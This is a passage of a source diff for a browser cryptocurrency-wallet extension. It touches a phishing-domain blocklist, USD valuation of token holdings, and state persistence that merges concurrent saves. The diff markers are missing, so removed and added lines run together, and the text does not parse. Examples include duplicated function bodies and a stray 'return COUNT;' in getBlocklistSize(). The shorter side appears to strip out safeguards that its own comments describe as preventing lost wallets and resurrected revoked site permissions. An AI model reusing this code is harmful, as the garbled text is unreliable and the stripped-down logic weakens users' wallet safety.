// Silently fail — vendored list still provides coverage. Persist
|
||||
// the attempt so a persistently failing fetch is retried on the
|
||||
// schedule rather than on every wake.
|
||||
await saveDeltaToStorage();
|
||||
} finally {
|
||||
fetchPromise = null;
|
||||
}
|
||||
})();
|
||||
|
||||
return fetchPromise;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore persisted state and fetch if the list is overdue.
|
||||
*
|
||||
* Called from the background script every time it starts — a fresh install,
|
||||
* a browser start, and every revival of a terminated service worker all land
|
||||
* here. The recurring 24-hour schedule itself is an alarm (see
|
||||
* shared/alarms.js), not a timer, because timers die with the worker.
|
||||
*
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
async function initPhishingList() {
|
||||
await ensureDeltaLoaded();
|
||||
return updatePhishingList();
|
||||
}
|
||||
|
||||
/**
|
||||
* The 24-hour alarm tick. Separate from initPhishingList() because this is the
|
||||
* scheduled refresh and must not be vetoed by the guards that exist to keep
|
||||
* the unscheduled startup path off the network.
|
||||
*
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
async function refreshPhishingListOnSchedule() {
|
||||
return updatePhishingList({ force: true });
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the total blocklist size (vendored + delta) for diagnostics.
|
||||
*
|
||||
* @returns {number}
|
||||
*/
|
||||
function getBlocklistSize() {
|
||||
return COUNT;
|
||||
return vendoredBlacklist.size + deltaBlacklist.size;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the delta blocklist size for diagnostics.
|
||||
*
|
||||
* @returns {number}
|
||||
*/
|
||||
function getDeltaSize() {
|
||||
return deltaBlacklist.size;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset internal state (for testing).
|
||||
*/
|
||||
function _reset() {
|
||||
deltaBlacklist = new Set();
|
||||
lastFetchTime = 0;
|
||||
lastAttemptTime = 0;
|
||||
fetchPromise = null;
|
||||
loadPromise = null;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
isPhishingDomain,
|
||||
updatePhishingList,
|
||||
refreshPhishingListOnSchedule,
|
||||
initPhishingList,
|
||||
loadDeltaFromStorage,
|
||||
loadConfig,
|
||||
CACHE_TTL_MS,
|
||||
MIN_FETCH_ATTEMPT_INTERVAL_MS,
|
||||
DELTA_STORAGE_KEY,
|
||||
MAX_DELTA_BYTES,
|
||||
getBlocklistSize,
|
||||
getDeltaSize,
|
||||
hostnameVariants,
|
||||
// Exposed for testing only: the ends of the search range are where an
|
||||
// off-by-one hides, and reaching them through isPhishingDomain() would mean
|
||||
// knowing which domain hashes to the first or last entry.
|
||||
_hashListed: hashListed,
|
||||
_reset,
|
||||
// Exposed for testing only
|
||||
_getVendoredBlacklistSize: () => vendoredBlacklist.size,
|
||||
_getDeltaBlacklist: () => deltaBlacklist,
|
||||
};
|
||||
|
||||
@@ -21,7 +21,7 @@ async function refreshPrices() {
|
||||
const fetched = await getTopTokenPrices(25);
|
||||
Object.assign(prices, fetched);
|
||||
lastFetchedAt = now;
|
||||
} catch {
|
||||
} catch (e) {
|
||||
// prices stay stale on error
|
||||
}
|
||||
}
|
||||
@@ -55,86 +55,42 @@ function formatUsd(amount) {
|
||||
);
|
||||
}
|
||||
|
||||
// What an address is worth, as { usd, partial }.
|
||||
//
|
||||
// Prices are fetched for the top 25 tokens only, so an address can hold real
|
||||
// assets this code has no price for. Adding up the priced ones and calling the
|
||||
// result the total states a number the holdings do not support: an address
|
||||
// holding nothing but unpriced tokens comes out at $0.00, which tells the user
|
||||
// their address is worth nothing when it may hold a great deal. Worth zero and
|
||||
// worth an unknown amount are separate facts and get separate fields, the same
|
||||
// way an absent holders_count is not a count of zero.
|
||||
//
|
||||
// usd: the value of the holdings a price is known for, or null when
|
||||
// nothing is knowable at all — testnet, or before the first fetch.
|
||||
// partial: the address also holds a token with no price, so usd is a floor
|
||||
// and not the total.
|
||||
//
|
||||
// Render it through formatAddressTotal() rather than reading usd alone.
|
||||
function getAddressValue(addr) {
|
||||
function getAddressValueUsd(addr) {
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) return { usd: null, partial: false };
|
||||
if (!prices.ETH) return { usd: null, partial: false };
|
||||
let usd = parseFloat(addr.balance || "0") * prices.ETH;
|
||||
let partial = false;
|
||||
if (currentNetwork().isTestnet) return null;
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
const ethBal = parseFloat(addr.balance || "0");
|
||||
total += ethBal * prices.ETH;
|
||||
for (const token of addr.tokenBalances || []) {
|
||||
// A null balance is a holding whose scale nothing knows, so it has no
|
||||
// quantity to price — but it is still a holding, and a total that
|
||||
// silently omits it would read as complete. That is exactly what
|
||||
// `partial` is for (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
if (token.balance == null) {
|
||||
partial = true;
|
||||
continue;
|
||||
}
|
||||
const tokenBal = parseFloat(token.balance);
|
||||
// A balance of zero is not a holding: it can neither add to the total
|
||||
// nor make it incomplete. Anything that is not a number at all is not
|
||||
// a holding this can price either, and is left to the same rule.
|
||||
if (!(tokenBal > 0)) continue;
|
||||
if (prices[token.symbol]) {
|
||||
usd += tokenBal * prices[token.symbol];
|
||||
} else {
|
||||
partial = true;
|
||||
const tokenBal = parseFloat(token.balance || "0");
|
||||
if (tokenBal > 0 && prices[token.symbol]) {
|
||||
total += tokenBal * prices[token.symbol];
|
||||
}
|
||||
}
|
||||
return { usd, partial };
|
||||
return total;
|
||||
}
|
||||
|
||||
// The same pair for a whole wallet, and for every wallet at once. One
|
||||
// unpriced holding anywhere makes the sum a floor, so partial carries up.
|
||||
function getWalletValue(wallet) {
|
||||
return sumValues(wallet.addresses.map(getAddressValue));
|
||||
}
|
||||
|
||||
function getTotalValue(wallets) {
|
||||
return sumValues(wallets.map(getWalletValue));
|
||||
}
|
||||
|
||||
function sumValues(values) {
|
||||
let usd = null;
|
||||
let partial = false;
|
||||
for (const value of values) {
|
||||
if (value.usd === null) continue;
|
||||
usd = (usd === null ? 0 : usd) + value.usd;
|
||||
partial = partial || value.partial;
|
||||
function getWalletValueUsd(wallet) {
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) return null;
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
for (const addr of wallet.addresses) {
|
||||
total += getAddressValueUsd(addr);
|
||||
}
|
||||
return { usd, partial };
|
||||
return total;
|
||||
}
|
||||
|
||||
// The one rendering of an address total, so no screen says it differently.
|
||||
//
|
||||
// A partial total is shown and named as partial: the figure is the ETH and
|
||||
// priced tokens the user does hold, which is worth having, and suppressing it
|
||||
// would throw away a number that is correct as far as it goes. What is never
|
||||
// shown is a figure covering no holdings at all — the $0.00 sum of an empty
|
||||
// set beside a list of tokens is the bug this replaces.
|
||||
function formatAddressTotal(value) {
|
||||
if (!value || value.usd === null) return "";
|
||||
if (!value.partial) return "Total: " + formatUsd(value.usd);
|
||||
if (value.usd > 0) {
|
||||
return "Total: " + formatUsd(value.usd) + " plus unpriced tokens";
|
||||
function getTotalValueUsd(wallets) {
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) return null;
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
for (const wallet of wallets) {
|
||||
total += getWalletValueUsd(wallet);
|
||||
}
|
||||
return "Total: unpriced tokens only";
|
||||
return total;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
@@ -143,8 +99,7 @@ module.exports = {
|
||||
clearPrices,
|
||||
getPrice,
|
||||
formatUsd,
|
||||
formatAddressTotal,
|
||||
getAddressValue,
|
||||
getWalletValue,
|
||||
getTotalValue,
|
||||
getAddressValueUsd,
|
||||
getWalletValueUsd,
|
||||
getTotalValueUsd,
|
||||
};
|
||||
|
||||
@@ -1,50 +1,40 @@
|
||||
// State management and extension storage persistence.
|
||||
//
|
||||
// The `state` export is a module-level singleton: ONE in-memory copy of the
|
||||
// profile per bundle, loaded once by loadState() and mutated in place from
|
||||
// then on. That is the popup's model — one page, one load at boot, one
|
||||
// lifetime.
|
||||
//
|
||||
// It is NOT the background's model, and the background must not reach it. The
|
||||
// MV3 service worker is torn down when idle and revived by the next message,
|
||||
// nothing loads state at module scope, and an unpopulated read used to hand
|
||||
// back DEFAULT_STATE with no complaint — five defects came out of that one
|
||||
// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
|
||||
// this module is unreachable from the background bundle, and reading a
|
||||
// persisted field of the singleton before a load now THROWS instead of quietly
|
||||
// serving a default.
|
||||
//
|
||||
// The unreachability is enforced by the BUILD. build.js fails when esbuild's
|
||||
// own metafile reports this module as an input of a background bundle — the
|
||||
// resolution the shipped file was built from, so no specifier syntax gets past
|
||||
// it — from the table in script/lib/forbiddenBundleInputs.js, which also
|
||||
// records what that does and does not cover. The ESLint rule that reports the
|
||||
// same thing in the editor is fast feedback in front of the build, not the
|
||||
// guarantee.
|
||||
|
||||
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
||||
const { networkById } = require("./networks");
|
||||
const {
|
||||
DEFAULT_STATE,
|
||||
PERSISTED_FIELDS,
|
||||
normalizePersisted,
|
||||
} = require("./persistedState");
|
||||
|
||||
const {
|
||||
STATE_SCHEMA_VERSION,
|
||||
assertStateUsable,
|
||||
migrationNeeded,
|
||||
} = require("./stateSchema");
|
||||
const storageApi =
|
||||
typeof browser !== "undefined"
|
||||
? browser.storage.local
|
||||
: chrome.storage.local;
|
||||
|
||||
const { storageGet, storageSet } = require("./browserApi");
|
||||
const { log } = require("./log");
|
||||
const DEFAULT_STATE = {
|
||||
hasWallet: false,
|
||||
wallets: [],
|
||||
trackedTokens: [],
|
||||
networkId: "mainnet",
|
||||
rpcUrl: DEFAULT_RPC_URL,
|
||||
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
||||
lastBalanceRefresh: 0,
|
||||
activeAddress: null,
|
||||
allowedSites: {},
|
||||
deniedSites: {},
|
||||
rememberSiteChoice: true,
|
||||
showZeroBalanceTokens: true,
|
||||
hideSpoofedSymbols: true,
|
||||
hideLowHolderTokens: true,
|
||||
hideFraudContracts: true,
|
||||
hideDustTransactions: true,
|
||||
dustThresholdGwei: 100000,
|
||||
utcTimestamps: false,
|
||||
fraudContracts: [],
|
||||
tokenHolderCache: {},
|
||||
theme: "system",
|
||||
debugMode: false,
|
||||
};
|
||||
|
||||
// The live record the proxy below guards. Everything inside this module reads
|
||||
// and writes THIS object, never the proxy: the guard is for callers.
|
||||
const rawState = {
|
||||
const state = {
|
||||
...DEFAULT_STATE,
|
||||
// Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
|
||||
// mutates this map in place, and a spread copies the reference.
|
||||
networkEndpoints: {},
|
||||
currentView: null,
|
||||
selectedWallet: null,
|
||||
selectedAddress: null,
|
||||
@@ -53,571 +43,117 @@ const rawState = {
|
||||
viewStack: [],
|
||||
};
|
||||
|
||||
// False until loadState() has completed in this bundle. Until then, a
|
||||
// persisted field that has not been assigned in this context cannot be READ:
|
||||
// see StateNotLoadedError.
|
||||
let loaded = false;
|
||||
|
||||
// True once this context has assigned anything into the singleton.
|
||||
//
|
||||
// What the guard is for is a context that READS a profile nobody put there —
|
||||
// every one of the five defects was a pure read of an untouched singleton,
|
||||
// answered out of DEFAULT_STATE. A context that has written into it is
|
||||
// managing it deliberately (the popup does, via loadState() at boot and by
|
||||
// hand thereafter), and reading back what you yourself put there is not the
|
||||
// mistake being caught.
|
||||
//
|
||||
// The cost of that is honest and worth naming: a context that writes one field
|
||||
// and then reads a different, untouched one is still served that field's
|
||||
// default. Nothing closes that here — what closes it for the background is
|
||||
// that the background cannot reach this module at all, which build.js asserts
|
||||
// against esbuild's metafile on every build (FORBIDDEN_INPUTS in
|
||||
// script/lib/forbiddenBundleInputs.js, pinned by
|
||||
// tests/buildForbiddenInputs.test.js).
|
||||
let adopted = false;
|
||||
|
||||
// Every field whose pre-load value would be a plausible-looking default rather
|
||||
// than the user's data. The view scratch fields are guarded too: currentView
|
||||
// and viewStack are persisted, and a save that carried their pre-load values
|
||||
// would overwrite a real stored stack with an empty one.
|
||||
const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
|
||||
|
||||
class StateNotLoadedError extends Error {
|
||||
constructor(field) {
|
||||
super(
|
||||
"state." +
|
||||
field +
|
||||
" was read before loadState(); this context has no profile" +
|
||||
" loaded and must not be served DEFAULT_STATE",
|
||||
);
|
||||
this.name = "StateNotLoadedError";
|
||||
}
|
||||
}
|
||||
|
||||
// Loud, not defaulted. The whole defect class this guard closes looks exactly
|
||||
// like working code at the call site: the read succeeds, the value is
|
||||
// well-formed, and it describes a wallet that is not the user's.
|
||||
const state = new Proxy(rawState, {
|
||||
get(target, prop, receiver) {
|
||||
if (
|
||||
!loaded &&
|
||||
!adopted &&
|
||||
typeof prop === "string" &&
|
||||
GUARDED_FIELDS.has(prop)
|
||||
) {
|
||||
throw new StateNotLoadedError(prop);
|
||||
}
|
||||
return Reflect.get(target, prop, receiver);
|
||||
},
|
||||
set(target, prop, value, receiver) {
|
||||
if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
|
||||
adopted = true;
|
||||
}
|
||||
return Reflect.set(target, prop, value, receiver);
|
||||
},
|
||||
});
|
||||
|
||||
// Return the network configuration for the currently selected network.
|
||||
function currentNetwork() {
|
||||
return networkById(state.networkId);
|
||||
}
|
||||
|
||||
// The persisted fields as they stood at the end of this page's last
|
||||
// loadState() or saveState(). saveState() diffs the live state against this
|
||||
// to find only the fields THIS page actually changed.
|
||||
//
|
||||
// Deep-cloned, not a reference: callers mutate persisted objects and arrays
|
||||
// in place (state.wallets.push(...)), and a reference baseline would mutate
|
||||
// right along with `state`, so the diff would always come out empty.
|
||||
let baseline = null;
|
||||
|
||||
function snapshotPersisted() {
|
||||
const out = {};
|
||||
for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
|
||||
return out;
|
||||
async function saveState() {
|
||||
const persisted = {
|
||||
hasWallet: state.hasWallet,
|
||||
wallets: state.wallets,
|
||||
trackedTokens: state.trackedTokens,
|
||||
networkId: state.networkId,
|
||||
rpcUrl: state.rpcUrl,
|
||||
blockscoutUrl: state.blockscoutUrl,
|
||||
lastBalanceRefresh: state.lastBalanceRefresh,
|
||||
activeAddress: state.activeAddress,
|
||||
allowedSites: state.allowedSites,
|
||||
deniedSites: state.deniedSites,
|
||||
rememberSiteChoice: state.rememberSiteChoice,
|
||||
showZeroBalanceTokens: state.showZeroBalanceTokens,
|
||||
hideSpoofedSymbols: state.hideSpoofedSymbols,
|
||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
||||
hideFraudContracts: state.hideFraudContracts,
|
||||
hideDustTransactions: state.hideDustTransactions,
|
||||
dustThresholdGwei: state.dustThresholdGwei,
|
||||
utcTimestamps: state.utcTimestamps,
|
||||
fraudContracts: state.fraudContracts,
|
||||
tokenHolderCache: state.tokenHolderCache,
|
||||
theme: state.theme,
|
||||
debugMode: state.debugMode,
|
||||
currentView: state.currentView,
|
||||
selectedWallet: state.selectedWallet,
|
||||
selectedAddress: state.selectedAddress,
|
||||
selectedToken: state.selectedToken,
|
||||
viewData: state.viewData,
|
||||
viewStack: state.viewStack,
|
||||
};
|
||||
await storageApi.set({ autistmask: persisted });
|
||||
}
|
||||
|
||||
function deepEqual(a, b) {
|
||||
if (a === b) return true;
|
||||
if (typeof a !== "object" || typeof b !== "object") return false;
|
||||
if (a === null || b === null) return false;
|
||||
if (Array.isArray(a) !== Array.isArray(b)) return false;
|
||||
const aKeys = Object.keys(a);
|
||||
const bKeys = Object.keys(b);
|
||||
if (aKeys.length !== bKeys.length) return false;
|
||||
for (const key of aKeys) {
|
||||
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
|
||||
if (!deepEqual(a[key], b[key])) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Stable identity for a wallet, independent of its position in the array
|
||||
// (which shifts under a concurrent add/delete elsewhere) and independent of
|
||||
// its mutable fields (name is user-editable; addresses gains/loses entries
|
||||
// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
|
||||
// changes for its lifetime and is already enforced unique
|
||||
// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
|
||||
// one address for its whole lifetime (nothing ever adds to or removes from
|
||||
// a key wallet's address list), and that address is already enforced
|
||||
// unique (findWalletByAddress()) — so it stands in for identity there.
|
||||
// Neither invariant is enforced by this function or by
|
||||
// mergeListByIdentity() below — they hold only because every wallet-
|
||||
// creation path in addWallet.js happens to populate one or the other before
|
||||
// the wallet ever reaches state.wallets, and because canRemoveAddress() in
|
||||
// walletDelete.js never lets a wallet's address list go to zero. A wallet
|
||||
// with neither (an empty/legacy/corrupt record) falls back to the same
|
||||
// "addr:" identity as every other such record, which is a genuine
|
||||
// collision, not a proxy for one — see the collision handling in
|
||||
// mergeListByIdentity().
|
||||
function walletIdentity(wallet) {
|
||||
if (wallet.xpub) return "xpub:" + wallet.xpub;
|
||||
const first = wallet.addresses && wallet.addresses[0];
|
||||
return "addr:" + (first ? String(first.address).toLowerCase() : "");
|
||||
}
|
||||
|
||||
// Stable identity for an address within one wallet's address list. An
|
||||
// address is unique within its wallet and, once derived or imported, never
|
||||
// changes — only whether it is present.
|
||||
function addressIdentity(addr) {
|
||||
return String(addr.address).toLowerCase();
|
||||
}
|
||||
|
||||
// Merge one array of identity-bearing objects (wallets, or the addresses
|
||||
// inside one wallet) by identity rather than by array index — an index
|
||||
// shifts under a concurrent insert/delete elsewhere, which would merge the
|
||||
// wrong pair of objects entirely.
|
||||
//
|
||||
// `theirs` (fresh storage) sets the membership baseline and the order:
|
||||
// - An item this page never had baseline knowledge of, but that is in
|
||||
// `theirs`, was added by someone else — kept as-is.
|
||||
// - An item `base` had and `ours` no longer has was deleted by THIS page
|
||||
// — dropped even though `theirs` still has it (this page's own delete
|
||||
// must win over a background save that only touched leaf fields).
|
||||
// - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
|
||||
// `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
|
||||
// on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
|
||||
// Anything left in `ours` that `base` never had and `theirs` does not have
|
||||
// yet is this page's own new addition — appended.
|
||||
//
|
||||
// `identityOf` is not guaranteed collision-free (walletIdentity() falls
|
||||
// back to one shared "addr:" value for any wallet with neither an xpub nor
|
||||
// a populated first address). Two records that collide under it must never
|
||||
// silently collapse into one — that is exactly how this function used to
|
||||
// drop a wallet, encryptedSecret included, with no error and no log. Two
|
||||
// defenses:
|
||||
// - `ours` is indexed into GROUPS, not a single item per identity, so two
|
||||
// colliding live items on this page can't overwrite each other in the
|
||||
// index before the merge below even runs.
|
||||
// - A matched pair with no shared `base` entry (neither page ever agreed
|
||||
// on this identity) is only merged leaf-by-leaf when the two sides are
|
||||
// already equal. If they differ, that is not "the same record edited
|
||||
// twice", it is two different records that happen to share an identity
|
||||
// — both are kept, unmerged, rather than guessing which one is real.
|
||||
function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
|
||||
base = base || [];
|
||||
ours = ours || [];
|
||||
theirs = theirs || [];
|
||||
const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
|
||||
const oursIndex = new Map();
|
||||
for (const item of ours) {
|
||||
const id = identityOf(item);
|
||||
if (!oursIndex.has(id)) oursIndex.set(id, []);
|
||||
oursIndex.get(id).push(item);
|
||||
}
|
||||
|
||||
const result = [];
|
||||
const seen = new Set();
|
||||
|
||||
for (const theirItem of theirs) {
|
||||
const id = identityOf(theirItem);
|
||||
seen.add(id);
|
||||
const oursGroup = oursIndex.get(id);
|
||||
if (baseIndex.has(id) && !oursGroup) continue;
|
||||
if (oursGroup) {
|
||||
const baseItem = baseIndex.get(id);
|
||||
if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
|
||||
log.errorf(
|
||||
"state: identity collision merging",
|
||||
JSON.stringify(id),
|
||||
"- keeping both records instead of dropping one",
|
||||
);
|
||||
result.push(theirItem, ...oursGroup);
|
||||
} else {
|
||||
result.push(mergeItem(baseItem, oursGroup[0], theirItem));
|
||||
for (let i = 1; i < oursGroup.length; i++) {
|
||||
result.push(oursGroup[i]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
result.push(theirItem);
|
||||
}
|
||||
}
|
||||
|
||||
for (const item of ours) {
|
||||
const id = identityOf(item);
|
||||
if (seen.has(id)) continue;
|
||||
if (!baseIndex.has(id)) result.push(item);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
|
||||
// ...) against base, then recurse into its address list by identity. `base`
|
||||
// is null when this page created the wallet itself and no other page has
|
||||
// (yet) produced a same-identity record — nothing to merge in that case,
|
||||
// this page's own copy wins outright. mergeListByIdentity() only ever calls
|
||||
// this with `!base` when `ours` and `theirs` are already equal (a genuine
|
||||
// collision between two DIFFERENT same-identity records is caught and kept
|
||||
// as two separate entries before this function is reached), so returning
|
||||
// `ours` here can't discard a different wallet's data.
|
||||
function mergeWallet(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (key === "addresses") continue;
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
merged.addresses = mergeListByIdentity(
|
||||
base.addresses,
|
||||
ours.addresses,
|
||||
theirs.addresses,
|
||||
addressIdentity,
|
||||
mergeAddress,
|
||||
);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
|
||||
// tokenBalances is itself an array, but only a balance refresh ever writes
|
||||
// it and always wholesale (refreshBalances() in src/shared/balances.js), so
|
||||
// there is no membership to reconcile within it — it is a leaf like balance
|
||||
// or ensName, not a list with its own identity.
|
||||
function mergeAddress(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
|
||||
// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
|
||||
// same way mergeListByIdentity() merges an array — by key, not by whole-
|
||||
// object diff — so a key one page added or removed applies independently of
|
||||
// a key another page edited. Unlike an array's identity function, an object
|
||||
// key can't collide with a different logical entry (Object.keys() is
|
||||
// already deduplicated), so this needs no collision floor of its own.
|
||||
//
|
||||
// Every write goes through defineProperty rather than assignment. The keys are
|
||||
// whatever the stored record carries, and plain assignment of "__proto__" —
|
||||
// which JSON can carry and normalizePersisted() keeps for networkEndpoints —
|
||||
// replaces this object's prototype and records no entry. That would undo one
|
||||
// layer downstream exactly what defineOwn() does in
|
||||
// src/shared/persistedState.js.
|
||||
function mergeMapByKey(base, ours, theirs, mergeLeaf) {
|
||||
base = base || {};
|
||||
ours = ours || {};
|
||||
theirs = theirs || {};
|
||||
const result = {};
|
||||
const seen = new Set();
|
||||
const put = (key, value) =>
|
||||
Object.defineProperty(result, key, {
|
||||
value: value,
|
||||
writable: true,
|
||||
enumerable: true,
|
||||
configurable: true,
|
||||
});
|
||||
|
||||
for (const key of Object.keys(theirs)) {
|
||||
seen.add(key);
|
||||
const inBase = Object.prototype.hasOwnProperty.call(base, key);
|
||||
const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
|
||||
if (inBase && !inOurs) continue; // this page deleted the whole entry
|
||||
if (inOurs) {
|
||||
put(key, mergeLeaf(base[key], ours[key], theirs[key]));
|
||||
} else {
|
||||
put(key, theirs[key]);
|
||||
}
|
||||
}
|
||||
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (seen.has(key)) continue;
|
||||
if (!Object.prototype.hasOwnProperty.call(base, key)) {
|
||||
put(key, ours[key]);
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
|
||||
// list is itself membership, not a leaf — the background appends a newly
|
||||
// approved/denied hostname to it, and the Settings "revoke" button
|
||||
// (src/popup/views/settings.js) filters a hostname out of it in place, from a
|
||||
// different page. Merge it the same way wallets are merged: identity is the
|
||||
// hostname itself, so a merged pair is always equal and mergeItem is a no-op
|
||||
// pick.
|
||||
function mergeHostnameList(base, ours, theirs) {
|
||||
return mergeListByIdentity(
|
||||
base,
|
||||
ours,
|
||||
theirs,
|
||||
(hostname) => hostname,
|
||||
(b, o, t) => t,
|
||||
);
|
||||
}
|
||||
|
||||
function mergeSiteMap(base, ours, theirs) {
|
||||
return mergeMapByKey(base, ours, theirs, mergeHostnameList);
|
||||
}
|
||||
|
||||
// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
|
||||
// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
|
||||
// networkEndpoints[networkId] in place before saving. No code path ever
|
||||
// removes a key from this map, so the membership collision that matters for
|
||||
// allowedSites/wallets (an add on one page racing a delete on another) can't
|
||||
// happen here — but two pages switching to two different networks
|
||||
// concurrently still race a whole-field diff the same way, so it gets the same
|
||||
// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
|
||||
// for the active network).
|
||||
function mergeEndpointEntry(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
return merged;
|
||||
}
|
||||
|
||||
function mergeNetworkEndpoints(base, ours, theirs) {
|
||||
return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
|
||||
}
|
||||
|
||||
// Read-modify-write, merged per field, rather than one full-blob write.
|
||||
//
|
||||
// Every extension page (the toolbar popup, a dApp approval window) holds its
|
||||
// own in-memory `state`, loaded once, and showView() saves on every
|
||||
// navigation. A full-blob write here clobbers whatever a second page had
|
||||
// written since — including, in the worst case, an entire wallet and its
|
||||
// encrypted secret with no attacker and no unusual input (see the issue this
|
||||
// fixes).
|
||||
//
|
||||
// Only the fields this page actually changed — those that differ from
|
||||
// `baseline`, captured at the last loadState()/saveState() on this page —
|
||||
// are written; every other field is carried forward from whatever is in
|
||||
// storage right now, which may already be a value another page wrote.
|
||||
//
|
||||
// `wallets` is merged structurally (mergeListByIdentity(), by wallet
|
||||
// identity and then by address identity within each wallet), not as one
|
||||
// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
|
||||
// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
|
||||
// would mark all of `wallets` "changed" the moment any balance moved and
|
||||
// write back that page's own copy — loaded before its multi-second network
|
||||
// round trip — clobbering a wallet another page added, or resurrecting one
|
||||
// another page deleted, in that window. Merging by identity lets the leaf
|
||||
// changes and another page's membership changes (add/delete a wallet or an
|
||||
// address) apply independently instead of colliding as the same field.
|
||||
//
|
||||
// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
|
||||
// by address key and then by hostname within each address's list), for the
|
||||
// identical reason: the background appends a newly approved/denied hostname
|
||||
// to them, and the Settings "revoke" button (src/popup/views/settings.js)
|
||||
// filters one out in place, from a different page. A whole-field diff here
|
||||
// doesn't just lose data, it is a security defect — a stale page's save can
|
||||
// resurrect a just-revoked site permission, or silently wipe a permission just
|
||||
// granted elsewhere.
|
||||
//
|
||||
// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
|
||||
// by network id), since applyChainSwitchFields() writes into it in place; the
|
||||
// value per key is a small leaf object with no membership of its own; see the
|
||||
// comment at mergeEndpointEntry() for why the collision this closes is
|
||||
// milder than the other two.
|
||||
//
|
||||
// Every other persisted field stays a whole-field diff:
|
||||
// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
|
||||
// per-element identity to merge by; `tokenHolderCache` is a map shaped like
|
||||
// the ones above, but nothing in src/ ever writes an entry into it — it is
|
||||
// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
|
||||
// no in-place mutation for a whole-field diff to collide with; `viewData` is
|
||||
// this page's own UI scratch space, not data another page has any reason to
|
||||
// share membership of.
|
||||
//
|
||||
// This does not make two pages that both change the SAME leaf concurrently
|
||||
// safe: last write wins on that one leaf, same as before. What it removes
|
||||
// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
|
||||
// that only navigated, or only refreshed a balance, overwriting a wallet or
|
||||
// address list it never touched the membership of.
|
||||
//
|
||||
// This page's own live `state` is deliberately NOT rehydrated from a field
|
||||
// another page changed — only the record written to storage is merged.
|
||||
// showView() fires saveState() on every navigation without awaiting it,
|
||||
// which is what makes the queue above necessary in the first place, and a
|
||||
// save that is slow to come back has no way to tell whether the field it
|
||||
// is about to hand back is still the current answer or has since been
|
||||
// overtaken by something this very page did in the meantime; writing it
|
||||
// into `state` regardless reintroduced exactly the clobber this function
|
||||
// exists to remove, just delayed and confined to one page instead of two
|
||||
// (caught by tests/txStatus.test.js). A page's live picture of a field it
|
||||
// does not own goes on being whatever its last loadState() saw, same as
|
||||
// before this fix; only the persisted record is guaranteed current.
|
||||
async function saveStateOnce() {
|
||||
const current = snapshotPersisted();
|
||||
const result = await storageGet("autistmask");
|
||||
// The record in storage right now is about to be merged into and written
|
||||
// back, so it is validated exactly like a load validates it. Without this,
|
||||
// a page whose own load succeeded would normalize a record it does not
|
||||
// understand — one a NEWER build wrote in the meantime, say — and write
|
||||
// the result back over it, destroying the only copy of whatever that
|
||||
// record held. Refusing is louder than that and loses nothing: the live
|
||||
// state is untouched and the next save retries.
|
||||
